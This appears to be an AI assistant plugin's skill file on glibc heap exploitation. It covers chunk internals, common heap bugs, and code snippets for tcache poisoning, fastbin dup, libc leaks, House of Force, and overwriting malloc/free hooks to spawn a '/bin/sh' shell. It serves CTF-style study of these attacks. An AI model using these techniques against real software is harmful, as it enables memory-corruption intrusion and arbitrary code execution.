heap-exploitation

name	Heap Exploitation
description	This skill should be used when the user asks to "exploit heap", "heap overflow", "tcache poison", "fastbin attack", "double free", "use after free", "UAF exploit", "house of force", "heap feng shui", "malloc exploit", "free hook", or needs guidance on heap-based memory corruption vulnerabilities. Provides comprehensive heap exploitation techniques for glibc.
version	1.0.0

Heap Exploitation

Overview

Heap exploitation targets vulnerabilities in dynamic memory allocation (malloc/free). This skill covers glibc heap internals, common vulnerabilities, and exploitation techniques from basic to advanced.

Prerequisites

• Understanding of C memory management
• GDB with pwndbg (for heap visualization)
• Knowledge of basic binary exploitation
• Familiarity with pwntools

Heap Internals Quick Reference

Chunk Structure

┌──────────────────┐
│ prev_size        │ ← Only if previous chunk is free
├──────────────────┤
│ size      | AMP  │ ← A=allocated, M=mmap, P=prev_inuse
├──────────────────┤
│ user data        │ ← Returned by malloc()
│ ...              │
└──────────────────┘

Free Chunk (adds fd/bk pointers)

┌──────────────────┐
│ prev_size        │
├──────────────────┤
│ size             │
├──────────────────┤
│ fd               │ ← Forward pointer to next free chunk
├──────────────────┤
│ bk               │ ← Back pointer to previous free chunk
├──────────────────┤
│ (fd_nextsize)    │ ← Only for large chunks
├──────────────────┤
│ (bk_nextsize)    │ ← Only for large chunks
└──────────────────┘

Bin Types

Bin	Size Range	Behavior	Security
Tcache	0x20-0x410	Per-thread LIFO	Minimal (< 2.32)
Fastbin	0x20-0x80	Global LIFO	Size check only
Unsorted	Any	Temporary holding	Some checks
Small	< 0x400	FIFO by size	FIFO checks
Large	>= 0x400	Best fit	Complex checks

Vulnerability Types

1. Use-After-Free (UAF)

Access freed memory - can leak or corrupt heap metadata.

Detection pattern:

free(ptr);
// ptr not nullified
ptr->field = value;  // UAF write
data = ptr->field;   // UAF read

2. Double Free

Free the same chunk twice - corrupts free lists.

Detection pattern:

free(ptr);
// ...
free(ptr);  // Same pointer freed again

3. Heap Overflow

Write beyond chunk boundary into adjacent chunks.

Detection pattern:

char *buf = malloc(32);
read(0, buf, 100);  // Overflow into next chunk

4. Off-by-One/Null

Overflow single byte, often corrupting size field.

Detection pattern:

buf[size] = '\0';  // Should be buf[size-1]

Exploitation Techniques

Technique 1: Tcache Poisoning (glibc 2.26+)

Requirements: UAF write or heap overflow

Process:

1. Allocate chunks of same size
2. Free to populate tcache
3. Overwrite freed chunk's fd pointer
4. Allocate twice - second returns target address

# Tcache: chunk0 -> chunk1 -> NULL
free(0)
free(1)

# Overwrite chunk1.fd to target
edit(1, p64(target_addr))

# Tcache: chunk1 -> target -> ???
alloc(2)  # Gets chunk1
alloc(3)  # Gets target!

Safe-Linking Bypass (glibc 2.32+):

# fd is now XOR'd: PROTECT_PTR(pos, ptr) = (pos >> 12) ^ ptr
chunk_addr = heap_leak + offset
protected_fd = (chunk_addr >> 12) ^ target
edit(1, p64(protected_fd))

Technique 2: Fastbin Dup (glibc < 2.26 or full tcache)

Requirements: Double free capability

Process:

1. Free chunk A
2. Free chunk B (different chunk)
3. Free chunk A again (creates cycle)
4. Allocate and write target as fd
5. Allocate 3 times - third returns target

free(0)  # A
free(1)  # B
free(0)  # A again - fastbin: A -> B -> A

alloc(2, p64(target))  # Gets A, writes target as fd
alloc(3)  # Gets B
alloc(4)  # Gets A
alloc(5)  # Gets target!

Technique 3: Unsorted Bin Leak

Requirements: UAF read, chunk size > tcache (0x410+)

Process:

1. Allocate large chunk (> 0x410)
2. Allocate guard chunk (prevent top consolidation)
3. Free large chunk (goes to unsorted bin)
4. Read fd/bk (points to main_arena in libc)

alloc(0, 0x420)  # Large chunk
alloc(1, 0x20)   # Guard
free(0)          # To unsorted bin

leak = read(0)   # fd/bk point to main_arena
libc_base = u64(leak) - main_arena_offset - 96

Technique 4: House of Force

Requirements: Heap overflow into top chunk, controlled malloc size

Process:

1. Overflow top chunk size to -1 (0xffffffffffffffff)
2. Calculate distance to target
3. Allocate distance (wraps around)
4. Next allocation lands at target

# Overflow top chunk size
edit(0, b'A' * chunk_size + p64(0xffffffffffffffff))

# Calculate distance
distance = target_addr - top_chunk_addr - 0x20

# Allocate gap
alloc(1, distance)

# This lands at target
alloc(2, 0x20)

Technique 5: Tcache Struct Corruption

Requirements: Large overflow or arbitrary write primitive

Process:

1. Corrupt tcache_perthread_struct
2. Set counts to indicate entries exist
3. Set entry pointers to target addresses
4. Allocate to get arbitrary locations

Common Targets

__malloc_hook (glibc < 2.34)

malloc_hook = libc.symbols['__malloc_hook']
one_gadget = libc.address + 0xe3b2e

# Write one_gadget to malloc_hook
tcache_poison(malloc_hook)
edit(chunk_at_hook, p64(one_gadget))

# Trigger malloc -> shell
alloc(trigger)

__free_hook (glibc < 2.34)

free_hook = libc.symbols['__free_hook']
system = libc.symbols['system']

# Write system to free_hook
tcache_poison(free_hook)
edit(chunk_at_hook, p64(system))

# free(chunk_with_"/bin/sh") -> system("/bin/sh")
alloc(trigger, b'/bin/sh\x00')
free(trigger)

Modern Targets (glibc 2.34+)

When hooks are removed:

• _IO_list_all - File Stream Oriented Programming (FSOP)
• TLS structures - tcache_perthread_struct
• Stack addresses via environ
• Function pointers in heap structures

Debugging Heap

pwndbg Commands

heap              # Show all chunks
bins              # Show all free lists
tcachebins        # Tcache entries
fastbins          # Fastbin entries
unsortedbin       # Unsorted bin
vis_heap_chunks   # Visual representation
arena             # Main arena info

Useful Breakpoints

b *malloc
b *free
b *__libc_malloc
b *_int_malloc
b *_int_free

Mitigation Timeline

glibc	Change
2.26	Tcache introduced
2.27	Tcache count checks
2.29	Tcache key field (double-free detection)
2.32	Safe-linking (fd pointer obfuscation)
2.34	Hooks removed (__malloc_hook, etc.)

Output Format

## Heap Exploitation

### Vulnerability Identified
- Type: Tcache poisoning via UAF
- Chunk size: 0x30
- Primitive: Arbitrary write

### Exploitation Strategy
1. Leak heap base via UAF read
2. Leak libc via unsorted bin
3. Tcache poison to __free_hook
4. Overwrite with system
5. Free chunk containing "/bin/sh"

### Key Addresses
- heap base: 0x555555559000
- libc base: 0x7f1234567000
- __free_hook: 0x7f1234789000
- system: 0x7f1234600000

### Payload
[See exploit.py]

### Result
- Shell obtained as expected user

Additional Resources

Templates

• ${CLAUDE_PLUGIN_ROOT}/templates/heap-basic.py - Basic heap exploitation template

References

• references/tcache-internals.md - Detailed tcache structure
• references/house-techniques.md - House of X techniques
• references/heap-mitigations.md - Bypass techniques for each mitigation